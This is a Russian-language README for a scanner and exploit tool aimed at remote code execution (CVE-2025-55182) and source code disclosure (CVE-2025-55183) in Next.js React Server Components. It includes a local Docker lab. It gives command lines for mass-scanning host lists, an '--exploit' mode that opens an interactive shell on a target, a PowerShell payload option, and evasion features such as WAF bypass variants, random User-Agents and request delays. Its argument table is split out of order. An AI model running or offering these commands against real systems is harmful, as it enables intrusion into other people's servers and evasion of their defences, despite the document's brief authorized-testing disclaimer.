
критическая уязвимость удалённого выполнения кода (RCE) в React Server Components (RSC). Также включает реалистичную среду «Lab Environment» для безопасного тестирования и понимания уязвимости.
Этот репозиторий содержит инструмент-сканер для CVE-2025-55182 (RCE) и CVE-2025-55183 (раскрытие исходного кода) в Next.js React Server Components (RSC).
Этот инструмент предназначен только для образовательных целей и авторизованного тестирования. Не используйте этот инструмент на системах, которыми вы не владеете или на тестирование которых у вас нет явного разрешения. Авторы не несут ответственности за любое неправомерное использование.
Для подробного технического анализа обращайтесь к: https://react2shell.com/
pip3 install -r requirements.txt
Проверка, уязвим ли целевой URL.
python3 CVE-2025-55182.py -u <url>
Сканирование списка хостов из файла (по одному в строке).
python3 CVE-2025-55182.py -l <hosts_file>
Получение интерактивной оболочки на уязвимой цели.
python3 CVE-2025-55182.py -u <url> --exploit
Проверка, утекает ли исходный код цели через Server Actions.
python3 CVE-2025-55182.py -u <url> --nextjs-rsc-source-code-disclosure
Использование обнаружения по побочным каналам (на основе времени/ошибок) вместо попытки RCE.
python3 CVE-2025-55182.py -u <url> --safe-check
Добавление мусорных данных для обхода проверки содержимого WAF или использование специальных обходов.
# Standard WAF bypass (junk data)
python3 CVE-2025-55182.py -u <url> --waf-bypass --waf-bypass-size 128
# Vercel WAF bypass variant
python3 CVE-2025-55182.py -u <url> --vercel-waf-bypass
# Custom headers
python3 CVE-2025-55182.py -u <url> -H "Authorization: Bearer token" -H "X-Custom: Header"
# Proxy usage
python3 CVE-2025-55182.py -u <url> --proxy http://127.0.0.1:8080
# Random User-Agent and Delay
python3 CVE-2025-55182.py -u <url> --random-agent --delay 2.0
# Scan specific path
python3 CVE-2025-55182.py -u <url> --path /_next --path /api
Сохранение результатов в файл в формате JSON, CSV или HTML. Флаг --all-results сохраняет как уязвимые, так и неуязвимые хосты.
python3 CVE-2025-55182.py -u <url> -o results.json --format json --all-results
| Аргумент | Описание |
|---|---|
-u, --url | Один URL/хост для проверки. |
-l, --list | Файл со списком хостов для сканирования. |
--exploit | Вход в режим интерактивной оболочки (требуется -u). |
--nextjs-rsc-source-code-disclosure | Проверка на раскрытие исходного кода (CVE-2025-55183). |
-t, --threads | Количество параллельных потоков (по умолчанию: 10). |
--timeout | Тайм-аут запроса в секундах (по умолчанию: 10). |
-o, --output | Выходной файл для результатов. |
--format | Формат вывода: json, csv, html. |
--all-results | Сохранять все результаты, а не только уязвимые. |
-k, --insecure | Отключить проверку SSL-сертификатов. |
-H, --header | Пользовательский заголовок в формате 'Key: Value'. |
--path | Пользовательский путь для тестирования (например, '/_next'). |
--path-file | Файл со списком путей для тестирования. |
--safe-check | Использовать безопасное обнаружение по побочным каналам вместо PoC RCE. |
--windows | Использовать полезную нагрузку Windows PowerShell. |
Вы можете запустить уязвимый экземпляр для тестирования с помощью предоставленного Docker-образа:
docker build -t cve-local .
docker run --rm -p 3000:3000 cve-local
Интересуетесь исследованиями безопасности Vercel? Ознакомьтесь с нашим совместным исследовательским документом:
📄 VERCEL_RESEARCH.md — подробное руководство по:
Откройте issue с меткой research, чтобы присоединиться к обсуждению!
--waf-bypass |
| Добавлять мусорные данные для обхода WAF. |
--waf-bypass-size | Размер мусорных данных в КБ для обхода WAF. |
--vercel-waf-bypass | Использовать полезную нагрузку обхода Vercel WAF. |
--bypass-variant | Выбрать конкретный вариант обхода WAF (1-102) или 'all'. |
-x, --proxy | URL прокси (например, http://127.0.0.1:8080). |
--random-agent | Использовать случайный User-Agent для каждого запроса. |
--delay | Задержка между запросами в секундах. |
-v, --verbose | Подробный вывод (показывать фрагменты ответов). |
-q, --quiet | Тихий режим (показывать только уязвимые хосты). |
--no-color | Отключить цветной вывод. |